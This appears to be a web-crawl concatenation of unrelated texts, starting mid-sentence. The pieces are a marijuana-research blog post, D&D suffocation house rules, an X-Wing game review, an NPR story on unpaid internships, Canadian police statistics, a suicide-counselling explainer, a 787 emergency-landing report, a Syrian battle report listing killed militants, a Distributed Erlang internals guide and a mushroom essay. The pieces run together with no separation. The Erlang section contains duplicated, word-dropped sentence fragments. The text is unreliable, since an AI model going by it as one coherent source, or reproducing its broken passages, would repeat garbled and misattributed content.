foreign policy by Moscow. Russia has repeatedly stated that the bloc's increased activities near its borders undermine regional and international stability.The American Academy of Pediatrics published a report on recreational marijuana use among kids under the age of 18. Researchers tried to answer questions like: Will the newest wave of changes in USA law regarding marijuana abuse make things better or worse? How does marijuana affect kids’ brain development? These are important questions. However, one tempting question is, whether the effects of marijuana abuse on kid’s development is rightfully the theme of biggest concern in the context of scientific research and politic discussion – and should it be? The research that we already have, indicates, that regular or heavy marijuana use is bad for kids’ brains. But is marijuana really in the focus of research nowadays? We’ve looked at numbers of publication about effects of different drugs on brain development. On above graph we can see that the major part of research describing the relationship between drug abuse and brain development is dedicated to alcohol abuse. The second place belongs to effects of cocaine on young brain and on the third place is tobacco. Marijuana is on the fourth place with 131 publications since 2000. The dominant position of research on alcohol and tobacco abuse shows, that there is a dissonance of focus between scientific community and legislators. While the first group invests it’s research efforts in the internationally relevant and increasingly serious problem of alcohol and tobacco abuse, politicians in their debates are much more concerned about casual marijuana users, compared to heavy smokers or alcoholics. As seen on figure below, the frequency of citations for all of these keywords are rising at comparable rate. USA with 346 publications is the country with the biggest number of publications on marijuana abuse in adolescence by far. Other countries like Canada and Brazil published just 5 publications each. For more statistics on marijuana abuse by adolescents click here. In Scicurve, it is really easy to find out who is the author that drives the scientific endeavour in certain research topic. The highest number of publications about effects of drugs on development of adolescent brain comes from author Susan F. Tapert and her contributors. Click on a graph to find out more.This blog isn’t about how I am litterally drowning in 5th edition books, as I prepare sessions for my weekly group or write new content for the DM’s Guild, although it very well could be. No, this is the first in a series of blogs where I go over some of the rules of 5th edition D&D, and give ideas on how to improve (or at least change) them, to inject more realism and tension into your D&D game. Well, let’s not waste words: Suffocation When deciding what happens when a character is deprived of breathable air, the Player’s Handbook prescribes that: A creature can hold its breath for a number of minutes equal to 1 + its Constitution modifier (minimum of 30 seconds). When a creature runs out of breath, it can survive for a number of rounds equal to its Constitution modifier (minimum 1 round). At the start of its next turn, it drops to 0 hit points and is dying. These rules have one thing overwhelmingly in their favor, which is very much at the core of 5th edition game design: simplicity. Unfortunately, this simplicity comes at the cost of two other very important things. First off, these rules are not exactly realistic. As for total time, it isn’t too far off. An above-average healthy person (12 Constitution) would do 2 minutes and a few seconds with these rules – which in my opinion is a bit high, but not unbelievable at all. Likewise, an unhealthy person (8 Constitution) would do 36 seconds, which seems fair, and an enormeously healthy person (2o Constitution) would do 6½ minutes, which is still quite shy of the 22 minutes world record. The problem lies not with the total time, but with the fact that no consideration is made for what you are doing, while trying to hold your breath. You don’t have to be too much of a scientist to know that swimming quick laps or having swordfights might make you run out of oxygen faster than lying calmly at the bottom of a pool. This becomes the crux of the second problem: suffocation is a very small threat in actual play, at least as a tool for building tension during a combat encounter. Most encounters last less than 10 rounds, and I would say that non-boss encounters probably average around 3-5 rounds. To short a time for even the wizard who dumped his Constitution score to feel particularly threatened. Sure, you can conjure up situations where suffocation comes into play, but it’s very likely to be in a non-combat situation, and that might diffuse the tension a bit. So, we want a set of rules that can both enhance realism, especially in regards to underwater (or anywhere else you might be oxygen-deprived) activities, as well as something that can build tension during an encounter. The New Rules I propose the following rules for suffocation: You have ‘breath points’ equal to your Constitution modifier x 10 (minimum of 5). At the start of your turn, you lose 1 breath point if you don’t have access to air, or regain an amount of breath points equal to 5 + your Constitution modifier if you have access to air. Each time you take an action, bonus action or reaction, you lose 1 breath point. When you suffer a critical hit, you must make a Constitution saving throw to keep holding your breath. The DC equals 10 or half the damage you take, whichever is higher. If you fail, you lose all your breath points. When you would lose a breath point, but have 0 breath points, you must succeed on a DC 10 Constitution saving throw or drop to 0 hit points and start dying at the start of your next turn. The DC of this saving throw increases by 1 each consecutive time it is made without access to breathable air. Okay, let’s examine these rules. First off, characters that don’t have a negative Constitution modifier have a full minute of breathing time less. This may or may not be more realistic, but it certainly helps in making suffocation a factor during a combat encounter. Secondly, dashing, fighting, casting spells and all that jazz decreases the amount of time you have left before you suffocate. This is certainly more realistic. Additionally, going to the surface for a quick breath of air will replenish some, but not all, of your expended oxygen. Third, a critical hit might very well ruin your day. This puts some excitement into that underwater fight, because any blow can be the one that knocks the air out of your lungs, and now you’re really in trouble. Fourth, more variance is created with continually forcing Constitution saving throws that increase in DC the longer they go on. A character can potentially keep their breath for whole extra minutes with a good Constitution saving throw. This means that the cap of 6½ minutes becomes anywhere between 5 minutes and (realistically) about 7 or 8 minutes. While this means your character can suddenly run out of air when doing something, or simply starting its turn, you don’t fall unconscious until the start of your next turn, which gives you a round of free-spending of breath points in that frantic break for the surface. Using the new rules Breath points are like hit points, except that you don’t measure or keep track of them, until you need to. So the second a character jumps into that pool, or is trapped in that air-sealed chamber, or the magical garrote closes around her neck, write down the character’s breath points next to their hit points, and begin counting down as they start turns and take actions, bonus actions or reactions. If you trust them, encourage your players to tally their own breath points. Example: Bob the Barbarian has a Constitution modifier of +2. So when the dungeon is flooded, he starts with 20 breath points (2 minutes of air). He must preserve his oxygen, while fighting the kuo-toa that have captured his friend, so that they can both escape. Round 1. At the start of his first turn, Bob loses 1 breath point. He then rages as a bonus action and makes an attack, losing 2 additional breath points in the process. Bob is at 17 breath points. Round 2-6. On his following turns, knowing that he should really preserve his breath, he doesn’t spend his bonus action, but only moves and attacks, losing a total of 2 breath points each round. He also makes a single opportunity attack after one of the rounds, so at the end of round 6, Bob is at 6 breath points. Round 7. Seeing that his companion is drowning, Bob picks up the pace. He loses 1 breath point at the start of his turn, then dashes in, attacks the kuo-toa priestess and makes a frenzy attack as a bonus action. Bob is at 2 breath points by the end of his turn. Round 8. Bob loses 1 breath point, and now has only 1 left. The situation is dire. Knowing that he won’t be able to defeat the remaining kuo-toa, Bob instead grabs his unconscious friend as an action, and thus loses his last breath point. He starts for the surface. Round 9 and onwards. With the surface still a 100 feet above him, kuo-toa closing in, and his dying friend in his arms, Bob must now break for the surface before he fails a Constitution saving throw. That’s tension. Closing Thoughts All in all, these rules are obviously more complex than the standard ones, but I feel they bring a lot to the table, in the right circumstance. Suffocation happens pretty rarely, and it’s very rare that it needs to be an actual issue how long a character can hold its breath, even with these rules. But for that one special encounter, these rules can really elevate the tension and excitement, creating memorable scenarios and epic last-second-escapes. I’ve recently published an adventure for Storm King’s Thunder called Kraken’s Gamble, where these rules for suffocation make an appearance in the final battle. If you’re DM’ing Storm King’s Thunder, it might be something for you. Either way, if you have any comments, criticisms or cool ideas, be sure to leave a comment below, and happy playing!Growing up, I cut my tabletop teeth on miniatures games. Warhammer, 40K, Heroclix, and Warmachine. It’s a hobby that’s since given way to other pursuits, but will always be in my heart. It’s probably also clear at this point that I love X-Wings an awful lot. And yet, I’ve spent the past five years avoiding one of the best miniatures games around centered specifically around them. Fantasy Flight Games launched X-Wing in 2012—loosely based around the mechanics of its 20th Century dogfight game Wings of War—and despite the fact it should be a match made in tabletop heaven for me, I’ve resisted even so much as looking in the direction of a shelf of models ever since. Because, perhaps wisely, I knew that the minute I actually tried the game I would not be able to resist getting into it, and tabletop games can be a very expensive hobby. Especially X-Wing, when a new ship can cost you anywhere from around $12 for a basic ship like an A-Wing or a TIE Bomber, to up $40 for some of the bigger models like the Millennium Falcon or an Imperial Shuttle, all of which are pre-painted and look so good you might just end up buying some just to display. Advertisement Last weekend, I tried X-Wing for the first time. Readers, I went overboard. Immediately. None could board more overly than I. This is a frankly ludicrous amount of models—more than an average game of X-Wing will actually allow you to use—and in all honesty, instead of diving in head first like a madman as I did, if you’re intrigued by X-Wing your best bet is to start with the “Core” Set. It comes with three models, an X-Wing and two TIE Fighters, cards to kit out those models with the appropriate pilots and gear, and all the dice and rules you’ll need to start playing. There’s even an alternate The Force Awakens edition that replaces those models with the updated Resistance and First Order vehicles, and updates the cards to include pilots from the new movies. But whether you’re starting off small or going all-in with a full squadron you’ve kitted out to your exact liking, the fact remains: X-Wing is a fiendishly good recreation of the intensity of Star Wars space combat. Advertisement How? Primarily with an intimate sense of scale. A game of X-Wing is started by picking your side, then picking the ships you’ll bringing into combat, or more specifically, the pilots those ships will have. A usual game features squads worth 100 points each, and the primary value of a ship is decided by the value of its pilot—you could field an X-Wing with a generic unnamed rookie and have points to spend on extra gear for it like torpedoes or an astromech unit that could let you re-roll a failed combat dice, or you could put Poe Dameron or Luke Skywalker in the cockpit, who might have better stats or special abilities, but have a higher base cost in exchange for that. Even if you go as basic as possible with no extra frills on your ship, the point system means you’ll never have more than five or six ships on your side in a match, and often less than that (the Empire has the potential to have more, because ships like the TIE Fighter cost less—because they don’t have shields so they’re more “expendable”). Advertisement Once you’ve sorted your team and are finally ready to start, each player picks a specific movement for each of their craft to execute, selected on a small wheel unique to each class of ship, and keeps it hidden until it’s time for everyone to reveal their maneuvers all in one go, and move their ships across the battlefield. The secrecy of it all means you never really know where your opponents ships will be heading until everything’s kicked off already. Are they going to bank left or right? Will they manage to sneak behind an asteroid and out of your firing arc? It makes you try to your opponent’s intentions before the actually happen while trying to ensure your own ships keep out of a potentially hair situation, a game of cat-and-mouse that makes you want to put on your best Darth Vader impression and growl “I have you now” when someone’s in your attack range. (Even if you’re playing as the Rebels!) Advertisement Attacking—or trying to evade your opponent’s attacks—is where the extra gear you could’ve equipped before the game started comes into play, influencing the dice roles that govern if your attacks hit or miss, or if you shrug off a volley of blaster bolts from your enemies. Starting off, you might only have basic pilots and little gear, so it matters less—just roll some dice and hope you hit something. But once you start learning the more advanced rules of the game, and how certain pieces of gear work with your ships and play-style, X-Wing can become almost alluringly intense to play, as you weigh dozens of tactical choices in your head like you’re Jan Dodonna on speed. The small number of ships in play, combined with the random-chance potential frenzy of combat makes X-Wing battles feel ripped right out of the movies—and because of that, every small action, whether it’s performing a tricky maneuver, trying to repair damage to a system on your ship, or actually shooting at an opponent feels significant to the flow of a game. Your never just idling waiting for something to happen, And given that most of those actions are up to chance dice rolls, when you’re stuck into a midst of game it can make for some paralyzing, hectic decisions. Advertisement There’s just enough chance involved that it never feels too overwhelming for a new player, but just enough tactical skill that pulling off a tricky movement to narrowly avoid crashing into something or lining up the perfect volley of blaster fire feels as satisfying as actually destroying a ship or winning a game. X-Wing allows you to revel in the art of piloting a ship, like it’s an elaborate dance instead of a laser-filled battle to the death. X-Wing taps into the visceral fantasy of being a starfighter ace in the Star Wars in a way that feels quick-paced enough to really capture the chaos of spaceship dogfights while also being tactically deep enough that the strategy keeps you coming back for more. It’s an experience that leans on its tangibility, from the gorgeous models to the specificity of each maneuver template you use, to the point that you really can get sucked in. Advertisement You can play it on basically any flat surface, but you’ll want to buy a play mat with some stars on or with Yavin IV in the background. You’ll want to make a Spotify playlist of John William’s finest to provide an even Star Wars-ier vibe. You’ll even want to inadvertently cry “They came from... behind!” when some upstart rookie blows up your tricked-out ace pilot with a lucky shot. It so gleefully captures what makes Star Wars fights so enchanting that anything less than going all-in, S-Foils locked in attack position, feels impossible (okay, I may be justifying my rapid addiction a little too much there). Plus, did I mention that the models are really cool?Challenging D.C.'s Tradition Of Unpaid Government Internships Enlarge this image toggle caption Tim Sloan/AFP/Getty Images Tim Sloan/AFP/Getty Images The Department of Labor has guidelines for companies that want to keep unpaid interns. Essentially, unpaid interns have to be treated like students and shouldn't do the work of paid employees. Those rules, however, don't apply to government agencies. "If America runs on Dunkin' Donuts, D.C. runs on unpaid internships," says Carlos Vera, the founder of a campaign called Pay Our Interns. The campaign's guiding principle: how much money your parents make shouldn't keep you from getting work experience. Vera interned at the White House in 2014. "For any person that loves politics, it's a dream being at the White House," Vera says. "Once I was on that other side, I realized it's not as glamorous as sometimes you think." White House interns are expected to work unpaid from at least 9 a.m. to 6 p.m. Monday through Friday. Because of the full-time hours and the high cost of living in Washington, D.C., Vera says, unpaid government internships are out of reach for many people from low-income backgrounds. It's something that hits close to home for Vera. "One thing that the White House required is you had to bring in a suit every day," he said. "And that's something that they don't think about: Suits cost a lot of money. So my dad, my two aunts, and my uncle had to all pitch in money just so I could just buy one suit." According to Money magazine, interning for the summer in cities like D.C. can cost upwards of $6,000. In a statement to NPR, White House officials said while the internship is unpaid, interns can earn academic credit. Vera says many government agencies offer academic credit as a form of compensation. "At my university, school credit is [$1,467]," Vera says, referring to the per credit cost at his alma mater, American University. "You're paying to intern for free." Reynolds Graves interned at the White House in 2011 and says unpaid internships are a rite of passage. "You cannot put a price on the knowledge you obtain from an unpaid internship in these marble hallways, whether it's Capitol Hill or the White House," he says. The White House internship was just one of the unpaid internships Graves did during college. He worked part time and dipped into savings to get by. "Maybe you've got to bus tables after work. You know, everyone else gets off work, you don't get to go hang out," Graves said. "There's no shame in that and I think that would even build more grit." Graves says interns can also seek out grant funding. That's what Ermolande Jean-Simon did when she was a White House intern. She got a $5,000 stipend from her alma mater, Boston University. But even with that money she still had to rely on family and friends to help her get by. "Without that kind of support, I don't think I would have even been able to even do the internship," she said. Vera says there shouldn't be so many obstacles for people from low-income backgrounds looking to do an unpaid government internship. "People shouldn't be precluded from starting a career in public service based on their socioeconomic status," he says. "That's so anti-American in many ways." Vera says his campaign is keeping a close eye on government agencies that don't pay their interns. As new elected officials come in, Pay Our Interns will be pushing to make intern wages a priority.EDITOR’S NOTE: A previous version of this story said that Canada’s most heavily-policed city is Victoria, B.C. This was stated in a StatsCan report, but Victoria’s police department was amalgamated with Esquimalt and counts the police presence of both areas together. StatsCan table 254-0004 shows that the agency stopped counting police presence in Esquimalt alone in 2004, a year in which Victoria’s population jumped dramatically. The story has been updated to show that Montreal has the strongest police presence with 229 officers per 100,000 population. Go to Montreal, and you’ll find major tourists spots, historical landmarks, and Canada’s strongest police presence in cities with populations of over 100,000 people. That fact is contained in a Statistics Canada report that provides an update on police personnel across the country. “Police resources in Canada, 2016” reports on police strength in jurisdictions nationwide — how much police personnel have grown in certain cities, and how much they’re costing taxpayers. The report showed that, at 229.2 officers per 100,000 population, Montreal is the country’s most police-heavy city — more than other major cities like Vancouver (196.3) and Toronto (189.8). There are numerous reasons why police forces can have so much personnel — and there’s not always a clear correlation with the city’s crime rate, StatsCan said. One of the main reasons is that police departments add more officers and other staff is that they want to offer a certain level of customer service, Rick Parent, associate director of the Police Studies Centre at Simon Fraser University (SFU), told Global News. READ MORE: Canada’s best cities for full-time jobs Parent said that cities that have their own police departments, rather than having a force like the RCMP, are often more expensive and have “more police officers typically per capita.” “But what you see as a side effect is the level of customer service is usually quite high, and the satisfaction rate is also quite high,” he said. Parent said communities that rent police forces, like ones that are served by the RCMP, reside at the “opposite end of the spectrum.” “You get a better deal, you get a better price when you rent the police,” he said. “But it’s like renting a car. So you get a different feel when you own a car vs. when you rent a car.” READ MORE: Overwhelming majority satisfied with Saskatoon Police Service But police personnel aren’t growing as fast in Montreal as they are in other cities. Coquitlam and Surrey top that list — those cities have added the most and second-most personnel over the past year. The number of police officers in Coquitlam went up by 14.8 per cent from 2015 to 2016; in Surrey, they went up by 12.6 per cent. The increased police presence in Surrey could reflect a drive for better customer service — though it could also have to do with the city’s crime rate, Parent said. Surrey had Canada’s second-highest crime rate per 100,000 people in cities with populations of 100,000 in 2015, the last year for which stats are available. At 10,826.76, it was second only to Red Deer, Alta., where the crime rate ran to 17,748.37 per 100,000 population. The number of police officers in the city has shot up since 2014, from 117.5 per 100,000 at that time to 144.5 last year. (Run your cursor over the coloured dots below to see how police strength has grown in municipal police services serving populations of 100,000 or more) Recent years have seen Surrey residents raise a “hue and cry” about police service in the city, Parent said. “The police are running from call to call, they need more people,” he said. Two years ago, the federal government announced that it would contribute an additional 100 RCMP officers to Surrey’s streets and $3.5 million in an effort to fight gang violence. WATCH: Critics respond to Surrey federal funding announcement The commitments came after a spike in violence with over two dozen shootings in Surrey and the neighbouring city of Delta between March and May of 2015. In other words, it appears that Surrey’s crime rate and customer service were both key considerations driving an increase in officers there. But the city still doesn’t rank among Canada’s most-policed cities. Here are Canada’s most heavily-policed cities by 100,000 population: 9) Regina, Sask. Police presence per 100,000 population (2016): 179.2 Crime rate per 100,000 population (2015): 9,004.42 8) Edmonton, Alta. Police presence per 100,000 population (2016): 183 Crime rate per 100,000 population (2015): 8,287.98 7) Toronto, Ont. Police presence per 100,000 population (2016): 189.8 Crime rate per 100,000 population (2015): 3,290 6) Windsor, Ont. Police presence per 100,000 population (2016): 195.6 Crime rate per 100,000 population (2015): 4,790.56 5) Vancouver, B.C. Police presence per 100,000 population (2016): 196.3 Crime rate per 100,000 population (2015): 8,176.62 4) Winnipeg, Man. Police presence per 100,000 population (2016): 197.1 Crime rate per 100,000 population (2015): 6,041.25 3) Thunder Bay, Ont. Police presence per 100,000 population (2016): 199.5 Crime rate per 100,000 population (2015): 6,362.44 2) Halifax, N.S. Police presence per 100,000 population (2016): 218.9 Crime rate per 100,000 population (2015): 5,354.32 1) Montreal, Que. Police presence per 100,000 population (2016): 229.2 Crime rate per 100,000 population (2015): 4,101.92Suicide – The act of taking one’s own life, willingly, is termed as suicide. Everyone goes through various ups and downs, that’s how life is meant to be. We face these problems, learn from them and move ahead. We all are guarded by our survival instincts. However, some people do not have courage left in them to fight the life challenge and they think it is better to put an end to life than going through the trauma. A death is declared as suicide by Government of India when – A suicide note from the person is found Reason of death is unnatural Person has the intent to end their life and has talked about it with family or friends or someone known Common reasons why people commit suicide are- Illness Drug abuse Alcohol abuse Love or intimate relation Social reputation issues Family problem Death of close one Dowry Domestic violence Depression Unemployment Failure in loan payment Failure in exam/career Financial crisis or bankruptcy How can you help? Whenever we are facing some emotional challenge or stress in life, we tend to talk or discuss it with our close friends or family members. We all have been on the listening side too. If you find a sense of self-destruction or suicide in their talk or thought process, then you should seek an immediate help. Ignoring or taking the guidance role in your hand is not the right solution. It is a matter of someone’s life. You should seek an immediate help if you sense the following – Threat to end life Acquire means to end life like medicines or weapon Depression No purpose of living Self-damage Withdrawal from social life Risky or life threating action Counselling for suicide – Counselling for suicide or psychotherapy can be of immediate help to the person who is planning on ending his or her life. The number of counselling sessions depends upon the condition of the patients. Sessions can vary from daily, 2-3 times a week or weekly. In some cases, the patient may need to be hospitalised where they can be under the utmost care and medication. The preventive step to opt for counselling. A counsellor can help in understanding the emotional problem that the patient is going through. The counselling sessions are of constructive nature. They help regain faith in life and this world. It helps them talk about their fear, stress, anxiety and express their feeling in a safe environment. It guides them towards a positive direction and makes them understand the value of their own life. Suicide doesn’t not only affect one life but also a life of family and friends.A Boeing 787 Dreamliner was forced to make an emergency landing this morning in Takamatsu, Japan, when smoke was found emanating from the cockpit, reports NHK. ANA Flight 692 made the emergency landing at 8:45 this morning on its way to Haneda Airport in Tokyo, shutting down the runway, and NHK’s camera shows that the plane’s emergency slides deployed. According to airport officials, the vessel appeared otherwise normal. The 137 passengers and crew on board are reported to be safe. According to a tweet from Bloomberg (below) and a report from Reuters, ANA has grounded all 17 of its 787s in response to the issue. FLASH: Nippon Airways grounds all 17 Boeing 787 planes after emergency landing at Takamatsu Airport — Bloomberg News (@BloombergNews) January 16, 2013 In an earlier tweet, Bloomberg reported that the emergency landing resulted from a battery malfunction — the same source of problems as the January 7th fire aboard a Japan Airlines 787 at Logan International Airport in Boston. Faced with a spate of problems with the jet ranging from the aforementioned fires to leaking oil and cracked glass, last week the Federal Aviation Administration launched a full-scale review of the 787's design, manufacture, and assembly. On Tuesday, Japan's transport minister announced that his agency would also be launching an investigation into the aircraft. ANA and Japan Airlines are two of Boeing's
indicates presidents, police chiefs, students or teachers want guns on campus,” said Jenne. “It is not a sound policy. It is politicians trying to placate their base, but it is not where we are as a state.” Jenne suspects the 2017 gun debate will be similar to last year’s; measures will pass the House and stall in the Senate. “We’re in a perpetual campaign in the House and this is just red meat to keep people riled up,” said Jenne. “When you have to run every two years keeping your base engaged and motivated is very important.” Reporter James Call can be reached at jcall@tallahassee.com. Follow on Twitter @CallTallahassee. In other news: ► Multiple dead, injured in shooting at Fort Lauderdale airport ► Mayor Gillum goes on offense with #DefendLocal Read or Share this story: http://on.tdo.com/2hPlxf8On Wednesday, the militants from the Syrian Al-Qaeda group “Jabhat Al-Nusra” stormed the Jisr Al-Shughour National Hospital for the fifth straight day, where they attempted to break-through the Syrian Arab Army’s frontline defenses at the southern corridor of the facility; this attack was repelled in the late afternoon after withdrawing their fighters. The Syrian Arab Army’s 87th Brigade from the 11th Tank Division launched a counter-attack at Al-Fawrou in the southern part of the Jisr Al-Shughour District, killing over two dozen armed militants from Jabhat Al-Nusra and their allies from Jaysh Al-Muhajireen and Ajnad Al-Sham before they were able to capture this village near the town of Al-Sirmaniyah. After capturing Al-Fawrou, the 87th Brigade advanced past Ghaniyah towards Ishtabraq in the Jisr Al-Shughour District, where the latter encountered the militants from Jabhat Al-Nusra and Harakat Ahrar Al-Sham on the main road leading to this village in northwestern Idlib. Firefights are still ongoing in-between the villages of Ghaniyah and Ishtabraq, as the SAA’s 87th Brigade and the militants from Jabhat Al-Nusra and Harakat Ahrar Al-Sham are fighting for control of this main road in order to expand their influence over this rural area in the Jisr Al-Shughour District. West of Jisr Al-Shughour, the SAA’s “Tiger Forces” broke-through the frontline defenses of Harakat Ahrar Al-Sham at Tal Kamal and advanced towards the strategic Sugar Factory after fierce clashes at this hill overlooking the western part of the district – clashes are still ongoing at Tal Kamal between the two parties. At the hill of Tal Al-Layal between Jisr Al-Shughour and Bashlamoun, the militants from Jabhat Al-Nusra and Jaysh Al-Muhajireen attempted breach the National Defense Forces (NDF) fortifications; however, the Islamist militants were unable to bypass the NDF’s defenses, despite outnumbering the Syrian Government Forces. Since the inception of the battle at Jisr Al-Shughour last week, the Syrian Arab Army and National Defense Forces have lost a combined 92 soldiers, while another 113 others have been confirmed wounded-in-action. To contrast, the Islamist forces have lost an estimated 350-500 militants during the battle for Jisr Al-Shughour; this estimate includes the 65+ fighters killed during Wednesday’s clashes. Among the Islamist fighters killed at Jisr Al-Shughour on Wednesday the following were identified: Sameer Nasser, Sa’ad Saleh Sateefi, ‘Ammaar Ahmad Khanissi, Ahmad Mustafa Bajaan, Mou’ataz Mohammad Danouni, Mohammad Moshna Janeed, ‘Ammaar ‘Antar Raslaan, “Abu Al-Leith Al-Yemeni” (Yemeni), “Abu Al-Magheeri Al-Jazrawi” (Saudi), Khattab Al-Ansari, “Abu Sariyah”, “Abu ‘Ammari Al-Ghaab”, “Abu Mohammad Al-Hamwi”, “Abu Yousif Al-Maldeef”, “Abu Dakhaani Al-Jazrawi” (Saudi), “Abu ‘Ubeida Al-Jnoubi”, “Abu Al-Bara’a Al-Ansari”, “Abu Khaled Al-Yemeni” (Yemeni), and Usama Al-Jarha.” The identified militants that were wounded at Jisr Al-Shughour are the following: “Abu Mohammad Al-Khaani”, “Abu Ahmad Al-Khaani”, “Abu Hamza Al-Faransi” (French), “Abu ‘Ubeida Al-Shaami”, “Abu Al-Nu’man”, “Abu Bilal Al-Hamwi”, “Abu Musa’ab Al-Halabi”, “Abu ‘Umar Al-Hamwi”, and Siraaqah Al-Ansari. AdvertisementsDistributed Erlang This document is a short guide to the structure and internals of the Erlang/OTP distributed messaging facility. The intended audience is Erlang programmers with experience using distributed Erlang and an interest in its implementation. Overview The protocol Erlang nodes use to communicate is described between the distribution protocol and external term format sections of the ERTS user guide. The implementation is supported by features of the system applications, libraries, and the BEAM emulator. Sections below describe process structure, flow of control, and points of contact between subsystems, with links to the source code at a recent commit hash on the maint branch. Transport The distributed protocol typically uses a single TCP socket over IPv4. The protocol used can be specified with the proto_dist argument to the VM, and is respected by the net_kernel module when it sets up either its own distributed listener or connects to remote nodes. To find the protocol modules specified by proto_dist, add _dist.erl in the Erlang/OTP source. inet_tcp, the default; handles TCP streams with IPv4 addressing. inet6_tcp, an undocumented module prepared to handle TCP with IPv6 addressing. In principle there's no reason inet_tcp could not be protocol-agnostic in this respect, but for now programmers setting up nodes on IPv6 networks need to specify -proto_dist inet6_tcp. could not be protocol-agnostic in this respect, but for now programmers setting up nodes on IPv6 networks need to specify. inet_tls, connection using TLS to verify clients and encrypt internode traffic. Setup is detailed in the Secure Socket Layer User's Guide. Note that particularly within Erlang's usual LAN deployment context, other options such as an internode VPN might be more convenient. As well as transport negotation, the protocol modules handle node registration and lookup, so a particular transport could use something other than epmd if required. Discovery Before applications on the network can talk, they need to locate one another with some form of service discovery. Erlang/OTP relies on both DNS and a portmap-style service called epmd (for "Erlang Port Mapping Daemon"). epmd is a simple standalone daemon written in C which listens at port 4369 on a host running Erlang nodes. It implements a simple binary protocol to register and look up (Erlang node, TCP port) mappings. See the links from the overview above for details. The Erlang system applications interact with epmd via the erl_epmd module. Notes: An Erlang node starts epmd automatically if it is not already running on the host at startup. This is built in to the low-level erlexec C program used by erl to invoke the emulator. automatically if it is not already running on the host at startup. This is built in to the low-level C program used by to invoke the emulator. Each node registering itself with epmd maintains its open TCP connection after sending ALIVE2_REQ ; epmd deregisters the node when that connection is closed or lost. maintains its open TCP connection after sending ; deregisters the node when that connection is closed or lost. The Extra field of ALIVE2_REQ is faithfully stored and echoed back by epmd in PORT2_RESP responses, but is not currently used. field of is faithfully stored and echoed back by in responses, but is not currently used. Both Name and Extra can have a maximum size of MAXSYMLEN. System Setup and maintenance of distributed Erlang listening and connection is handled by the kernel application's net_kernel module. The process hierarchy: net_kernel is started by the net_sup supervisor, if it can find -sname or -name arguments on the erl commandline. Started alongside it are erl_epmd and auth. All three are gen_servers. The latter two respectively handle maintaining a connection to epmd, as discussed above, and cookie management (including the backend for erlang:{set,get}_cookie ). net_kernel immediately sets up a listening socket for the node by invoking Mod:listen/1 for the proto_dist module (by default inet_tcp_dist). Note the facility to supply listen options for distributed Erlang sockets via the commandline. After registering this as the node's distribution socket with the emulator (via erlang:setnode/2, see below), net_kernel invokes Mod:accept/1, e.g. for inet_tcp_dist. By default, this creates the listener process in the diagram above, running inet_tcp_dist:accept_loop/2. After this, there are two cases for net_kernel to deal with: An incoming connection from another node. This triggers a call to the proto_dist Mod:accept_connection/5 which in turn starts one of the connectionN processes in the diagram above and performs the distributed Erlang handshake using the dist_util module. On a successful handshake, dist_util:do_setnode/1 registers the newly connected node with the emulator (via erlang:setnode/3, see below). An outgoing connection to another node. This is handled by net_kernel:connect/1, which is called transparently by the d* functions in the erlang module (see the emulator section below). net_kernel:connect/1 does much the same work as for an incoming connection (including setting up one of the connectionN processes in the diagram above), but via Mod:setup/5 in the proto_dist module. Finally, note that net_kernel can also be invoked as part of the erlang:spawn/4 to spawn processes on a foreign node. Emulator While the Erlang system, via net_kernel, handles connection setup, the nuts and bolts of the distributed Erlang protocol are handled by the emulator itself. The API it exposes is small, however, and mostly found in the built-in functions registered by dist.c. First up are the setnode BIFs. These register either the local node ( erlang:setnode/2 ) or remote nodes ( erlang:setnode/3 ) in the emulator's node tables. There are separate distribution tables for visible and hidden nodes; this is how the -hidden node commandline argument is used. The erlang:nodes/0 BIF reads these tables directly. BIFs like erlang:send/2 look up the node tables and call into the erts_dsig_* functions to handle distributed messaging. If a connection is necessary, these can trap back to e.g. erlang:dsend/2 to invoke connection setup via net_kernel. Once connections are established, erts_dsig_send_* are used to do the actual messaging. Message encoding in the external term format is handled by dsig_send. Please send any comments or suggestions for this document to cian@emauton.org.“Therefore I give my simple advice unto those that love such strange and newe-fangled meates, to beware licking honey among thornes, least the sweetness of the one do not countervaile the sharpnes and prickling of the other.” – John Gerard, The Herball or Generall Historie of Plantes, 1597 There are few people out there who will share my enthusiasm for the gathering grey skies that have come to define the last couple of weeks. As balmy summer days picking canalside raspberries give way to the familiar damp of insolent British drizzle, my mounting excitement has been difficult to hem in. Pulling on my wellington boots, I know that the arrival of rain after a warm summer can only mean one thing: mushrooms. I am what Lorna Bunyard once referred to as “a confirmed toadstool eater”[1], always keeping half an eye out for these mysterious fruits of the earth. It is no wonder that Mrs Bunyard’s chapter on mushrooms should follow a chapter entitled Strange Meats, however, as this is, historically, how they have been perceived by the British. John Gerard, perhaps our most revered botanist, was certainly not a fan, affirming that they “do hunger after the earthie excrescences”[2] – an association he makes more than once – whilst noting their habit of popping up on the “rotting bodies of trees” in “dankish”, “shadowie”[3] places. Gerard dismisses fungi as “unproffitable” and “nothing worth”[4], repeatedly warning the reader that they are “full of poison” and “deadly”[5]. Of course now we know that this isn’t actually the case. Of the 3,000 or so species of fungi that can be found in the British Isles [6], only around twenty are gravely poisonous (though many more are too tough or bitter to make for desirable eating) [7]. Though these poisonous species sometimes resemble and mimic the habits of edible ones – making careful examination an important rite of any foray – this does not quite explain why the British are so sceptical about fungi. It was not until the war years that the British public “came to realize that not only the mushroom, but other fungi also … were edible, nutritious and palatable”[8], and certainly not until this century that we started in earnest to explore varieties other than Agaricus bisporus for their culinary possibilities. British cultural aversion to these new-fangled meates [9] is evinced by Gerard’s description of the treatment of puffballs. Where in other countries they were renowned for their culinary value, in sixteenth century Britain, “the people where they grow [were] constrained to dig them up and cast them abroad like Molehills”[10], or “set [them] on fire” to “kill and smother Bees” [11]. This strange violence towards fungi is something that I see regularly on my walks, where some poor, unsuspecting fungus pops its head up, only to be raked over or kicked to pieces by a passing tyrant. More often than not, these species are edible, and leave me feeling as though I’ve been deprived of a free, succulent morsel. By comparison, many early creation stories, from South Africa to the Philippines [12][13], feature mushrooms as a metaphor for the beginning of the world. Other world cultures have long enjoyed the bounty that the fungi have to offer, with mushroom foraging forming an integral part of economic and social activity in many societies. In mainland Europe their importance can be seen throughout history, from Lorenzo de’ Medici’s verses dedicated to cheerful women gathering mushrooms in verdant meadows [14], to the earliest attempts by the French to cultivate them in 1707 [15]. Even our most cherished, forward-thinking writers are subject to this prejudice – with Shakespeare’s Prospero deriding the “green sour ringlets” of “midnight mushrumps” that the fairies make, alluding to the erroneous folklore that livestock will not graze where poisonous mushrooms lie [16]. Only thirty years later in France, Molière named perhaps his most famous protagonist after the delectable, subterranean truffle, or Tartuffe. For all his pastoral sensitivity, even Keats fails to see virtue in the mycological kingdom, describing its denizens as “night-swollen” [17] and “cold” [18] two centuries later. 